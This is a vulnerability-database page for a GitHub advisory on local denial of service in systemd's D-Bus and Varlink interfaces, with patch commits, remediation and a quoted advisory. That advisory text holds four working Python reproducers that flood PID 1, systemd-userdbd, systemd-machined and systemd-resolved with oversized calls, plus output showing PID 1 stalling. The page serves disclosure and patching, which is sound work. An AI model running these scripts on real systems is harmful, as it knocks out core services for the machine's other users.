Denial of service in systemd IPC interfaces via D-Bus and Varlink
Key facts
- Attack vector
- Local
- Privileges required
- Low
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · None · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-3jgj-3phh-hx5j. Fix status from GitHub.
Summary
The systemd package before 261 is affected, including systemd (PID 1), systemd-userdbd, systemd-machined, systemd-resolved and systemd-networkd. Several IPC interfaces crash when they receive specially crafted calls over D-Bus or Varlink. A local user with low privileges can repeat these calls to cause a denial of service.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Impact A series of IPC interfaces are vulnerable to DOS when an unprivileged user spams certain types of specially crafted calls. Affected components: - systemd (PID 1) - systemd-userdbd - systemd-machined - systemd-resolved - systemd-networkd ## Patches v261 (https://github.com/systemd/systemd/commit/0d71d58da084a5548bcb762aa4b0fad9dc49fac9 https://github.com/systemd/systemd/commit/51a88ac72330f20a030b8938b6bfce2b2215d8a0 https://github.com/systemd/systemd/commit/82614a4c6f19f0902b6fefc2988ccc54edb47eb5 https://github.com/systemd/systemd/commit/7671b43cb88532cce2aa9ad12f777922206d6a42 https://github.com/systemd/systemd/commit/1c534452e961d4663f96b046f6242f00394f8e75 https://github.com/systemd/systemd/commit/eb357bfff8685c10e7b1f6365b3a80cd792f0336 https://github.com/systemd/systemd/commit/49c1e1bcf2b482b6de35a4212a06ed1d8c382745 https://github.com/systemd/systemd/commit/50138e36ffc6d05d8c32a5b6ac1d4c5d32377450 https://github.com/systemd/systemd/commit/17e6a3e2a88e822b730f298ebb9fdb526a04a2e2) v260.2 (https://github.com/systemd/systemd/commit/c03267827e4e39577e8ab0c3d8c18241733b21df https://github.com/systemd/systemd/commit/3766ad840552a33c5deef3f77b5411ae57182034 https://github.com/systemd/systemd/commit/396f3f0cd6fa92a3ebefd8f20b40514585756af3 https://github.com/systemd/systemd/commit/8d3c854eaf34a71f052e8c61b15d63ad53fe5bcc https://github.com/systemd/systemd/commit/b4ee34b038cf525f5d4fc4695ca08b1012010187 https://github.com/systemd/systemd/commit/7529dd7aebc4498519e4781007335da98cff97bc https://github.com/systemd/systemd/commit/5ac450552d7f811352c9cb44ef4f6fd277a1d784 https://github.com/systemd/systemd/commit/4bf52a5d798516435df70d0a247a09833eaceaf3 https://github.com/systemd/systemd/commit/75ceeac012425347a762a106a850fbebde3fdc8f) v259.6 (https://github.com/systemd/systemd/commit/3865ea557977d850c46a32b20677438de7c921ef https://github.com/systemd/systemd/commit/5bbb84ac2769a5ad504e6c2e1cf9457f725090f9 https://github.com/systemd/systemd/commit/b313f7cc8c464451025e6fd8137c477ad4d373d5 https://github.com/systemd/systemd/commit/d40943d2b1023265d73faecb628f6e0b6c0dc0db https://github.com/systemd/systemd/commit/8bbeac804ec1a0539e84a2b206420ae78d9b9233 https://github.com/systemd/systemd/commit/cb6c3e5bf1c6014db5e15cfffecb0172f317cfe8 https://github.com/systemd/systemd/commit/271071eaa1c221d532ee51049cceaeeca0d249b9 https://github.com/systemd/systemd/commit/f48ced6cc413ce2625211b9b8802bd8ef7798709 https://github.com/systemd/systemd/commit/72c4686786a2a237c7bd2fb33871f0ba747d2a88) v258.8 (https://github.com/systemd/systemd/commit/f851cda5b08604b1ed56ec2b2b26d75aef283b8f https://github.com/systemd/systemd/commit/ac830cc5d05049d720a7560c55f5468012953695 https://github.com/systemd/systemd/commit/aeded6dd3d2600c66b3dea03352ae1526d9b3136 https://github.com/systemd/systemd/commit/8ef9adcc7acba24d5761be383d34c2c17750f0df https://github.com/systemd/systemd/commit/7c92cd63da05eec0eec6845625bf9c229d3e4343 https://github.com/systemd/systemd/commit/22358d0400f3cb282c4e060562db2b7fa7bbee6b https://github.com/systemd/systemd/commit/99670b9059c3662993f9cea160c76fb8b7c9d2d9 https://github.com/systemd/systemd/commit/c199f6640059a0be024eb70c0271b23805b63e1f) ## Workarounds Disable unprivileged access to D-Bus and Varlink endpoints of the affected components ## References ### PID 1 There's a potential unprivileged DoS in PID 1's D-Bus interface, namely via the `ListUnitsByNames` method, as it doesn't have any limit on how many units a user can request. So, with a simple reproducer that sends "just" 500k (can be more) unique names to resolve to PID 1, an unprivileged user can stall PID 1 for quite a while: ```python #!/usr/bin/env python3 import dbus, time N = 500000 names = dbus.Array([f"a@{i}.path" for i in range(N)], signature="s") bus = dbus.SystemBus() obj = bus.get_object("org.freedesktop.systemd1", "/org/freedesktop/systemd1") mgr = dbus.Interface(obj, "org.freedesktop.systemd1.Manager") print(f"sending ListUnitsByNames with {N} unique unit names") t0 = time.monotonic() try: result = mgr.ListUnitsByNames(names) dt = time.monotonic() - t0 print(f"returned {len(result)} units in {dt:.2f}s") except Exception as e: dt = time.monotonic() - t0 print(f"error after {dt:.2f}s: {e}") ``` Running this as an unpriv user yields: ``` $ ./repro.py sending ListUnitsByNames with 500000 unique unit names error after 25.21s: org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. ``` But for the next dozens of second (or even minutes) PID 1 stops responding to anything: ``` # systemd-run --wait --pipe echo hello Failed to start transient service unit: Connection timed out # systemctl stop avahi Failed to stop avahi.service: Transport endpoint is not connected See system logs and 'systemctl status avahi.service' for details. ``` This also, temporarily, completely fills up the internal global unit hashmap, which has a limit of 128k names: ``` # journalctl -o short-monotonic --no-hostname -b -p warning _PID=1 [ 490.180016] systemd[1]: Cannot add name, manager has too many units. ``` ### systemd-userdbd ``` import json, socket, sys, time SOCK_PATH = "/run/systemd/userdb/io.systemd.Multiplexer" N = int(sys.argv[1]) if len(sys.argv) > 1 else 500000 msg = json.dumps({ "method": "io.systemd.UserDatabase.GetUserRecord", "parameters": { "fuzzyNames": ["x"] * N, "service": "io.systemd.Multiplexer", }, }, separators=(",", ":")) print(f"message size: {len(msg) / 1024 / 1024:.2f} MiB ({N} array elements)") sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(SOCK_PATH) sock.settimeout(300) t0 = time.monotonic() sock.sendall(msg.encode() + b"\0") print(f"sent, waiting for reply ...") buf = b"" while b"\0" not in buf: chunk = sock.recv(65536) if not chunk: break buf += chunk dt = time.monotonic() - t0 sock.close() reply = buf.rstrip(b"\0").decode(errors="replace") if len(reply) > 200: reply = reply[:200] + "..." print(f"reply after {dt:.2f}s: {reply}") ``` ### systemd-machined ``` import json, socket, sys, time SOCK_PATH = "/run/systemd/machine/io.systemd.Machine" N = int(sys.argv[1]) if len(sys.argv) > 1 else 500000 msg = json.dumps({ "method": "io.systemd.Machine.Open", "parameters": { "name": "nonexistent", "mode": "shell", "environment": [f"K{i}=v" for i in range(N)], }, }, separators=(",", ":")) print(f"message size: {len(msg) / 1024 / 1024:.2f} MiB ({N} env entries)") sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(SOCK_PATH) sock.settimeout(300) t0 = time.monotonic() sock.sendall(msg.encode() + b"\0") print(f"sent, waiting for reply ...") buf = b"" while b"\0" not in buf: chunk = sock.recv(65536) if not chunk: break buf += chunk dt = time.monotonic() - t0 sock.close() reply = buf.rstrip(b"\0").decode(errors="replace") if len(reply) > 200: reply = reply[:200] + "..." print(f"reply after {dt:.2f}s: {reply}") ``` ### systemd-resolved ``` import dbus import sys import time if len(sys.argv) < 2: print(f"usage: {sys.argv[0]} IFINDEX [COUNT]") print(" IFINDEX: network interface index (not loopback, not networkd-managed)") print(" COUNT: number of domain entries (default 500000)") sys.exit(1) IFINDEX = int(sys.argv[1]) N = int(sys.argv[2]) if len(sys.argv) > 2 else 500000 # Each element is (domain_name, route_only_bool). # Use unique short valid domains to avoid early rejection. domains = dbus.Array([(f"d{i}.x", False) for i in range(N)], signature="(sb)") bus = dbus.SystemBus() obj = bus.get_object("org.freedesktop.resolve1", "/org/freedesktop/resolve1") mgr = dbus.Interface(obj, "org.freedesktop.resolve1.Manager") print(f"sending SetLinkDomains ifindex={IFINDEX} with {N} domains") t0 = time.monotonic() try: mgr.SetLinkDomains(IFINDEX, domains) dt = time.monotonic() - t0 print(f"returned in {dt:.2f}s") except Exception as e: dt = time.monotonic() - t0 print(f"error after {dt:.2f}s: {e}") ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | systemd (systemd) | < 261 | 261 260.2 259.6 258.8 | Patch available | GHSA-3jgj-3phh-hx5j |
- systemd (systemd) Vendor— Affected < 261 Fixed in 261 260.2 259.6 258.8 Patch available GHSA-3jgj-3phh-hx5j
Remediation
Upgrade systemd to a fixed version: 261, 260.2, 259.6 or 258.8.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-3jgj-3phh-hx5j systemd (systemd) Fixed in 261 260.2 259.6 258.8 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-3jgj-3phh-hx5j
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences